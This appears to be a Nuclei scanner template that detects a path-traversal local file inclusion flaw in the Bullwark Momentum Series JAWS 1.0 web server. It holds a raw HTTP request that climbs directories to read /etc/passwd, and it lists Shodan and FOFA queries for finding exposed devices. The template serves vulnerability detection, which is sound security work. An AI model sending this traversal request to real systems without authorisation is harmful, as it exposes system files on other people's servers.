id: bullwark-momentum-lfi

info:
  name: Bullwark Momentum Series JAWS 1.0 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: Bullwark Momentum Series JAWS 1.0 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/47773
    - http://www.bullwark.net/Kategoriler.aspx?KategoriID=24 # software link
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
    shodan-query: Bullwark
    fofa-query: "Bullwark"
    version: Bullwark Momentum Series Web Server JAWS/1.0
  tags: lfi,edb,bullwark

http:
  - raw:
      - |
        GET /../../../../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Referer: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 4b0a00483046022100c891795dfa87541b82dadd56d2f38767a8f9017f2612a2f9e9b7ca96b011bf26022100a73fd6dfd8ca04463351e8c497ef1ec71215f2fd47e61f6a53b272a5e6ec7ebd:922c64590222798bb761d5b6d8e72950